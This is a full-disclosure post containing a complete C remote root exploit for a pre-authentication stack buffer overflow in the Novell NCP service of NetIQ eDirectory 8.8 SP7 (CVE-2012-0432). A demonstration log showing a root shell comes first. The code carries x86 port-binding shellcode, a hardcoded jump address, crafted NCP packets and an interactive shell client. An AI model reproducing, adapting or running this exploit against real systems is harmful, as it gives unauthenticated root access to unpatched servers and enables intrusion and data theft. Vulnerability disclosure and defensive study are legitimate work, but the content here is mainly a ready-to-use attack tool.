In the interest of full-disclosure, here is a remote exploit for the
vulnerability found by David Klein:
Demonstration
Novell NCP Pre-Auth Remote Stack Buffer Overflow
Connecting to host [127.0.0.1]...
Connected!
Sending message #1 (23 bytes)
<-- 44 6d 64 54 00 00 00 17 00 00 00 01 00 00 00 00 11 11 00 00 00 00 00
Waiting for response (16 bytes)...
Received 16 bytes (expecting 16)
--> 74 4e 63 50 00 00 00 10 33 33 00 0a 00 00 00 00
Response #1 is valid, continue exploitation
Received response connection number 0a
Sending payload (190 bytes)...
[...omitted...]
190 bytes sent
Attempting to connect to shell at port 5074...
Sleeping for 10 seconds...
Success!
pwd
/var/opt/novell/instance0/data/dib
id
uid=0(root) gid=0(root) groups=0(root)
exit
Connection closed
********** BEGIN EXPLOIT **********
/*
* Novell NCP Pre-Auth Remote Root Exploit
* Written by Gary Nilson 11-17-2013
*
* Overview (US-CERT/NIST CVES:CVE-2012-0432):
* Stack-based buffer overflow in the Novell NCP implementation in
* NetIQ eDirectory 8.8.7.x before 8.8.7.2 allows remote attackers to have an
* unspecified impact via unknown vectors.
*
* Fix: Issues resolved in eDirectory 8.8 SP7 Patch 2 (20703.00)
*
* Exploited Platform:
* Novell eDirectory 8.8 SP7 v20701.48
* Distribution: Debian GNU/Linux 6.0.6 (squeeze)
* Linux Kernel: 2.6.32-5-686
*
* Discovery: David Klein (david.r.klein at 676D61696)
*
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/ioctl.h>
/*
* Due to address space randomization on my platform I had to rely on the
* following in order to reliably execute the payload:
* - At the moment that %eip is overwritten, %esi happens to point to the payload
* located on the heap (horray).
* - Address spaced mapped from 0x08087000-0x080a6000 (Data segment) contains
* the handy instruction jmp *%esi (located at 0x080a4697).
*/
#define NCP_PORT 524
#define SHELL_BIND_PORT 5074
#define RET_ADDRESS 0x080a4697
#define RET_PAYLOAD_OFFSET 65
#define PORT_PAYLOAD_OFFSET 24
#define PAYLOAD_SIZE 190
#define SHELL_CONNECT_DELAY 10
int main(int argc, char **argv){
struct hostent *host;
struct sockaddr_in target_addr;
int sockfd;
fd_set rdfdset, fdsave;;
int len_in;
int i;
int payload_size;
int ret_address;
short shell_port;
int msg1_buffsize;
int msg2_headersize;
int recv_buffsize;
int shellcode_size;
char iochar;
char *msg2_buff;
char *recv_buff;
/* Shellcode (adapted):
* s0t4ipv6@Shellcode.com.ar
* x86 portbind a shell in port 5074
*/
char port_bind[] = "\xeb\x04" /* jmp +4 bytes */
"\x00\x00\x00\x00" /* eip */
"\x31\xc0\x50\x40\x89\xc3\x50\x40" /* begin shellcode */
"\x50\x89\xe1\xb0\x66\xcd\x80\x31"
"\xd2\x52\x66\x68\x13\xd2\x43\x66"
"\x53\x89\xe1\x6a\x10\x51\x50\x89"
"\xe1\xb0\x66\xcd\x80\x40\x89\x44"
"\x24\x04\x43\x43\xb0\x66\xcd\x80"
"\x83\xc4\x0c\x52\x52\x43\xb0\x66"
"\xcd\x80\x93\x89\xd1\xb0\x3f\xcd"
"\x80\x41\x80\xf9\x03\x75\xf6\x52"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x52\x53\x89\xe1"
"\xb0\x0b\xcd\x80";
char msg1[] = "\x44\x6d\x64\x54" /* NCP TCP id */
"\x00\x00\x00\x17"
"\x00\x00\x00\x01\x00\x00\x00\x00"
"\x11\x11\x00\x00\x00\x00\x00";
char recv[] = "\x74\x4e\x63\x50" /* TCP RCVD id */
"\x00\x00\x00\x10" /* length ? */
"\x33\x33" /* service connection reply */
"\x00" /* sequence number */
"\x10" /* connection number */
"\x00" /* task number */
"\x00" /* reserved */
"\x00" /* completion code */
"\x00"; /* ?? */
/* special thanks to the ncpfs source */
char msg2_header[] = "\x44\x6d\x64\x54" /* NCP TCP id */
"\x00\x00\x01\xa0" /* request_size + 16 + siglen + 6 */
"\x00\x00\x00\x01" /* version (1) */
"\x00\x00\x00\x05" /* (reply buffer size) */
/* signature would go here */
"\x22\x22" /* cmd */
"\x01" /* conn->sequence */
"\xff" /* conn->i.connection ??? */
"\x00" /* task (1) */
"\x00" /* conn->i.connection >> 8 */
"\x17" /* Login Object FunctionCode (23) */
"\x00\xa7" /* SubFuncStrucLen */
"\x18" /* SubFunctionCode */
"\x90\x90" /* object type */
"\x50"; /* ClientNameLen */
if (argc != 2){
fprintf(stderr, "Syntax error: usage: %s target\n", argv[0]);
exit(EXIT_FAILURE);
}
msg1_buffsize = sizeof(msg1)/(sizeof(msg1[0]))-1;
msg2_headersize = sizeof(msg2_header)/(sizeof(msg2_header[0]))-1;
recv_buffsize = sizeof(recv)/sizeof(recv[0])-1;
shellcode_size = sizeof(port_bind)/sizeof(port_bind[0])-1;
printf("Novell NCP Pre-Auth Remote Stack Buffer Overflow\n");
memset(&target_addr, 0, sizeof(target_addr));
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(NCP_PORT);
if ((host = (struct hostent *)gethostbyname(argv[1])) == NULL){
perror("Error looking up hostname");
exit(EXIT_FAILURE);
}
memcpy(&target_addr.sin_addr, host->h_addr_list[0], host->h_length);
printf("Connecting to host [%s]...\n", argv[1]);
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("Error creating socket");
exit(EXIT_FAILURE);
}
if ((connect(sockfd,
(const struct sockaddr *)&target_addr,
sizeof(target_addr))) < 0){
perror("Unable to connect to host");
close(sockfd);
exit(EXIT_FAILURE);
}
printf("Connected!\n");
printf("Sending message #1 (%d bytes)\n", msg1_buffsize);
if (write(sockfd, msg1, msg1_buffsize) < 0){
perror("Error sending msg1");
close(sockfd);
exit(EXIT_FAILURE);
}
printf("\n<-- ");
for (i = 0; i < msg1_buffsize; i++)
printf("%.2x ", msg1[i]);
printf("\n\n");
printf("Waiting for response...\n");
recv_buff = malloc(recv_buffsize);
len_in = read(sockfd, recv_buff, recv_buffsize);
printf("Received %d bytes (expecting %d)\n", len_in, recv_buffsize);
printf("\n--> ");
for (i = 0; i < recv_buffsize; i++)
printf("%.2x ", recv_buff[i]);
printf("\n\n");
if (memcmp(recv_buff, recv, 4) == 0)
printf("Response #1 is valid, continue exploitation\n");
else{
printf("Response $1 does not match, aborting!\n");
close(sockfd);
free(recv_buff);
}
printf("Received response connection number %.2x\n", (char) recv_buff[11]);
printf("Sending payload (%d bytes)...\n", PAYLOAD_SIZE);
msg2_buff = malloc(PAYLOAD_SIZE);
memset(msg2_buff, 0x90, PAYLOAD_SIZE);
memcpy(msg2_buff, msg2_header, msg2_headersize);
// yes, this assumes we are little endian
payload_size = htonl(PAYLOAD_SIZE);
memcpy(msg2_buff+4, &payload_size, 4);
memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET-2, port_bind, shellcode_size);
ret_address = RET_ADDRESS;
memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET, &ret_address, 4);
shell_port = htons(SHELL_BIND_PORT);
memcpy(msg2_buff+msg2_headersize+RET_PAYLOAD_OFFSET+PORT_PAYLOAD_OFFSET, &shell_port, 2);
msg2_buff[19] = recv_buff[11];
free(recv_buff);
printf("\n<-- ");
for (i = 0; i < PAYLOAD_SIZE; i++)
printf("%.2x ", msg2_buff[i] & 0xff);
printf("\n\n");
if ((i = write(sockfd, msg2_buff, PAYLOAD_SIZE)) < 0){
perror("Error sending msg2");
close(sockfd);
free(msg2_buff);
exit(EXIT_FAILURE);
}
else
printf("%d bytes sent\n", i, PAYLOAD_SIZE);
printf("Sleeping for %d seconds...\n", SHELL_CONNECT_DELAY);
sleep(SHELL_CONNECT_DELAY);
close(sockfd);
free(msg2_buff);
printf("Attempting to connect to shell at port %d...\n", SHELL_BIND_PORT);
target_addr.sin_port = htons(SHELL_BIND_PORT);
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("Error creating socket");
exit(EXIT_FAILURE);
}
if ((connect(sockfd,
(const struct sockaddr *)&target_addr,
sizeof(target_addr))) < 0){
perror("Unable to connect to host");
close(sockfd);
exit(EXIT_FAILURE);
}
printf("Success!\n");
FD_ZERO(&rdfdset);
FD_SET(STDIN_FILENO, &rdfdset);
FD_SET(sockfd, &rdfdset);
len_in = 0;
fdsave = rdfdset;
while (1){
if (select(sockfd+1, &rdfdset, NULL, NULL, NULL) < 0){
perror("Select error");
close(sockfd);
exit(EXIT_FAILURE);
}
for (i=STDIN_FILENO; i<=sockfd; i++){
if (FD_ISSET(i, &rdfdset)){
ioctl(i, FIONREAD, &len_in);
if (len_in == 0){
printf("Connection closed\n");
exit(EXIT_SUCCESS);
}
while (len_in--){
read(i, &iochar, 1);
write(i == sockfd ? STDOUT_FILENO : sockfd, &iochar, 1);
}
}
}
rdfdset = fdsave;
}
}
